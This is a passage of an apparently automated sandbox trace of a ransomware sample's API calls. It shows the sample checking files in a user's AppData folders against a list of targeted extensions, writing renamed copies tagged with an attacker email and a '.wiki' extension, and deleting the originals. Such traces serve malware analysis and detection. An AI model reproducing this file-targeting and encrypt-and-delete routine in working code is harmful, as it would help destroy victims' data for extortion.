(lpString1=".dbf", lpString2="k[1]") returned -1 [0180.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 84 [0180.075] lstrlenW (lpString=".1cd") returned 4 [0180.075] lstrcmpiW (lpString1=".1cd", lpString2="k[1]") returned -1 [0180.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 84 [0180.075] lstrlenW (lpString=".jpg") returned 4 [0180.075] lstrcmpiW (lpString1=".jpg", lpString2="k[1]") returned -1 [0180.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 84 [0180.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 84 [0180.075] lstrlenW (lpString=".doc") returned 4 [0180.075] lstrcmpiW (lpString1=".doc", lpString2="k[1]") returned -1 [0180.075] lstrlenW (lpString=".docx") returned 5 [0180.075] lstrcmpiW (lpString1=".docx", lpString2="nk[1]") returned -1 [0180.075] lstrlenW (lpString=".pdf") returned 4 [0180.075] lstrcmpiW (lpString1=".pdf", lpString2="k[1]") returned -1 [0180.075] lstrlenW (lpString=".xls") returned 4 [0180.075] lstrcmpiW (lpString1=".xls", lpString2="k[1]") returned -1 [0180.075] lstrlenW (lpString=".xlsx") returned 5 [0180.075] lstrcmpiW (lpString1=".xlsx", lpString2="nk[1]") returned -1 [0180.075] lstrlenW (lpString=".ppt") returned 4 [0180.075] lstrcmpiW (lpString1=".ppt", lpString2="k[1]") returned -1 [0180.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 84 [0180.075] lstrlenW (lpString=".zip") returned 4 [0180.075] lstrcmpiW (lpString1=".zip", lpString2="k[1]") returned -1 [0180.075] lstrlenW (lpString=".rar") returned 4 [0180.075] lstrcmpiW (lpString1=".rar", lpString2="k[1]") returned -1 [0180.076] lstrlenW (lpString=".bz2") returned 4 [0180.076] lstrcmpiW (lpString1=".bz2", lpString2="k[1]") returned -1 [0180.076] lstrlenW (lpString=".7z") returned 3 [0180.076] lstrcmpiW (lpString1=".7z", lpString2="[1]") returned -1 [0180.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 84 [0180.076] lstrlenW (lpString=".dbf") returned 4 [0180.076] lstrcmpiW (lpString1=".dbf", lpString2="k[1]") returned -1 [0180.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 84 [0180.076] lstrlenW (lpString=".1cd") returned 4 [0180.076] lstrcmpiW (lpString1=".1cd", lpString2="k[1]") returned -1 [0180.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 84 [0180.076] lstrlenW (lpString=".jpg") returned 4 [0180.076] lstrcmpiW (lpString1=".jpg", lpString2="k[1]") returned -1 [0180.076] lstrcmpiW (lpString1=".microsoft[1]", lpString2=".wiki") returned -1 [0180.076] lstrlenW (lpString="ieonline.microsoft[1]") returned 21 [0180.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\ieonline.microsoft[1]"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.610] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=0) returned 1 [0180.616] CloseHandle (hObject=0x19c) returned 1 [0180.616] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]") returned 96 [0180.616] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]") returned 96 [0180.616] lstrlenW (lpString=".doc") returned 4 [0180.616] lstrcmpiW (lpString1=".doc", lpString2="t[1]") returned -1 [0180.616] lstrlenW (lpString=".docx") returned 5 [0180.616] lstrcmpiW (lpString1=".docx", lpString2="ft[1]") returned -1 [0180.616] lstrlenW (lpString=".pdf") returned 4 [0180.616] lstrcmpiW (lpString1=".pdf", lpString2="t[1]") returned -1 [0180.616] lstrlenW (lpString=".xls") returned 4 [0180.616] lstrcmpiW (lpString1=".xls", lpString2="t[1]") returned -1 [0180.616] lstrlenW (lpString=".xlsx") returned 5 [0180.616] lstrcmpiW (lpString1=".xlsx", lpString2="ft[1]") returned -1 [0180.616] lstrlenW (lpString=".ppt") returned 4 [0180.616] lstrcmpiW (lpString1=".ppt", lpString2="t[1]") returned -1 [0180.616] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]") returned 96 [0180.616] lstrlenW (lpString=".zip") returned 4 [0180.616] lstrcmpiW (lpString1=".zip", lpString2="t[1]") returned -1 [0180.616] lstrlenW (lpString=".rar") returned 4 [0180.616] lstrcmpiW (lpString1=".rar", lpString2="t[1]") returned -1 [0180.616] lstrlenW (lpString=".bz2") returned 4 [0180.616] lstrcmpiW (lpString1=".bz2", lpString2="t[1]") returned -1 [0180.616] lstrlenW (lpString=".7z") returned 3 [0180.616] lstrcmpiW (lpString1=".7z", lpString2="[1]") returned -1 [0180.616] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]") returned 96 [0180.616] lstrlenW (lpString=".dbf") returned 4 [0180.617] lstrcmpiW (lpString1=".dbf", lpString2="t[1]") returned -1 [0180.617] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]") returned 96 [0180.617] lstrlenW (lpString=".1cd") returned 4 [0180.617] lstrcmpiW (lpString1=".1cd", lpString2="t[1]") returned -1 [0180.617] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]") returned 96 [0180.617] lstrlenW (lpString=".jpg") returned 4 [0180.617] lstrcmpiW (lpString1=".jpg", lpString2="t[1]") returned -1 [0180.617] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]") returned 96 [0180.617] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]") returned 96 [0180.617] lstrlenW (lpString=".doc") returned 4 [0180.617] lstrcmpiW (lpString1=".doc", lpString2="t[1]") returned -1 [0180.617] lstrlenW (lpString=".docx") returned 5 [0180.617] lstrcmpiW (lpString1=".docx", lpString2="ft[1]") returned -1 [0180.617] lstrlenW (lpString=".pdf") returned 4 [0180.617] lstrcmpiW (lpString1=".pdf", lpString2="t[1]") returned -1 [0180.617] lstrlenW (lpString=".xls") returned 4 [0180.617] lstrcmpiW (lpString1=".xls", lpString2="t[1]") returned -1 [0180.617] lstrlenW (lpString=".xlsx") returned 5 [0180.617] lstrcmpiW (lpString1=".xlsx", lpString2="ft[1]") returned -1 [0180.617] lstrlenW (lpString=".ppt") returned 4 [0180.617] lstrcmpiW (lpString1=".ppt", lpString2="t[1]") returned -1 [0180.617] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]") returned 96 [0180.617] lstrlenW (lpString=".zip") returned 4 [0180.617] lstrcmpiW (lpString1=".zip", lpString2="t[1]") returned -1 [0180.617] lstrlenW (lpString=".rar") returned 4 [0180.617] lstrcmpiW (lpString1=".rar", lpString2="t[1]") returned -1 [0180.617] lstrlenW (lpString=".bz2") returned 4 [0180.618] lstrcmpiW (lpString1=".bz2", lpString2="t[1]") returned -1 [0180.618] lstrlenW (lpString=".7z") returned 3 [0180.618] lstrcmpiW (lpString1=".7z", lpString2="[1]") returned -1 [0180.618] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]") returned 96 [0180.618] lstrlenW (lpString=".dbf") returned 4 [0180.618] lstrcmpiW (lpString1=".dbf", lpString2="t[1]") returned -1 [0180.618] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]") returned 96 [0180.618] lstrlenW (lpString=".1cd") returned 4 [0180.618] lstrcmpiW (lpString1=".1cd", lpString2="t[1]") returned -1 [0180.618] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]") returned 96 [0180.618] lstrlenW (lpString=".jpg") returned 4 [0180.618] lstrcmpiW (lpString1=".jpg", lpString2="t[1]") returned -1 [0180.618] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.618] lstrlenW (lpString="07_TV_recorded_in_the_last_week.wpl") returned 35 [0180.618] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.619] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1040) returned 1 [0180.619] CloseHandle (hObject=0x19c) returned 1 [0180.619] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl")) returned 0x2020 [0180.619] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.619] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.619] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.620] GetLastError () returned 0x0 [0180.620] ReadFile (in: hFile=0x19c, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x410, lpOverlapped=0x0) returned 1 [0180.621] WriteFile (in: hFile=0x158, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x420, lpOverlapped=0x0) returned 1 [0180.622] ReadFile (in: hFile=0x19c, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.622] WriteFile (in: hFile=0x158, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x11a, lpOverlapped=0x0) returned 1 [0180.622] SetEndOfFile (hFile=0x158) returned 1 [0180.622] CloseHandle (hObject=0x158) returned 1 [0180.622] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.622] SetEndOfFile (hFile=0x19c) returned 1 [0180.623] CloseHandle (hObject=0x19c) returned 1 [0180.623] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.623] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl")) returned 1 [0180.624] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0180.624] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0180.624] lstrlenW (lpString=".doc") returned 4 [0180.624] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.624] lstrlenW (lpString=".docx") returned 5 [0180.624] lstrcmpiW (lpString1=".docx", lpString2="k.wpl") returned -1 [0180.624] lstrlenW (lpString=".pdf") returned 4 [0180.624] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.624] lstrlenW (lpString=".xls") returned 4 [0180.624] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.624] lstrlenW (lpString=".xlsx") returned 5 [0180.624] lstrcmpiW (lpString1=".xlsx", lpString2="k.wpl") returned -1 [0180.624] lstrlenW (lpString=".ppt") returned 4 [0180.624] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.624] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0180.624] lstrlenW (lpString=".zip") returned 4 [0180.624] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.624] lstrlenW (lpString=".rar") returned 4 [0180.624] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.624] lstrlenW (lpString=".bz2") returned 4 [0180.624] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.624] lstrlenW (lpString=".7z") returned 3 [0180.624] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.624] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0180.624] lstrlenW (lpString=".dbf") returned 4 [0180.624] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0180.625] lstrlenW (lpString=".1cd") returned 4 [0180.625] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0180.625] lstrlenW (lpString=".jpg") returned 4 [0180.625] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0180.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0180.625] lstrlenW (lpString=".doc") returned 4 [0180.625] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.625] lstrlenW (lpString=".docx") returned 5 [0180.625] lstrcmpiW (lpString1=".docx", lpString2="k.wpl") returned -1 [0180.625] lstrlenW (lpString=".pdf") returned 4 [0180.625] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.625] lstrlenW (lpString=".xls") returned 4 [0180.625] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.625] lstrlenW (lpString=".xlsx") returned 5 [0180.625] lstrcmpiW (lpString1=".xlsx", lpString2="k.wpl") returned -1 [0180.625] lstrlenW (lpString=".ppt") returned 4 [0180.625] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0180.625] lstrlenW (lpString=".zip") returned 4 [0180.625] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.625] lstrlenW (lpString=".rar") returned 4 [0180.625] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.625] lstrlenW (lpString=".bz2") returned 4 [0180.626] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.626] lstrlenW (lpString=".7z") returned 3 [0180.626] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0180.626] lstrlenW (lpString=".dbf") returned 4 [0180.626] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0180.626] lstrlenW (lpString=".1cd") returned 4 [0180.626] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0180.626] lstrlenW (lpString=".jpg") returned 4 [0180.626] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.626] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.626] lstrlenW (lpString="08_Video_rated_at_4_or_5_stars.wpl") returned 34 [0180.626] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.627] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1020) returned 1 [0180.627] CloseHandle (hObject=0x19c) returned 1 [0180.627] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl")) returned 0x2020 [0180.627] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.627] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.627] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.627] GetLastError () returned 0x0 [0180.627] ReadFile (in: hFile=0x19c, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x3fc, lpOverlapped=0x0) returned 1 [0180.629] WriteFile (in: hFile=0x158, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x400, lpOverlapped=0x0) returned 1 [0180.630] ReadFile (in: hFile=0x19c, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.630] WriteFile (in: hFile=0x158, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x118, lpOverlapped=0x0) returned 1 [0180.630] SetEndOfFile (hFile=0x158) returned 1 [0180.630] CloseHandle (hObject=0x158) returned 1 [0180.630] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.630] SetEndOfFile (hFile=0x19c) returned 1 [0180.631] CloseHandle (hObject=0x19c) returned 1 [0180.631] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.631] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl")) returned 1 [0180.631] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0180.631] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0180.631] lstrlenW (lpString=".doc") returned 4 [0180.631] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.631] lstrlenW (lpString=".docx") returned 5 [0180.631] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.632] lstrlenW (lpString=".pdf") returned 4 [0180.632] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.632] lstrlenW (lpString=".xls") returned 4 [0180.632] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.632] lstrlenW (lpString=".xlsx") returned 5 [0180.632] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.632] lstrlenW (lpString=".ppt") returned 4 [0180.632] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0180.632] lstrlenW (lpString=".zip") returned 4 [0180.632] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.632] lstrlenW (lpString=".rar") returned 4 [0180.632] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.632] lstrlenW 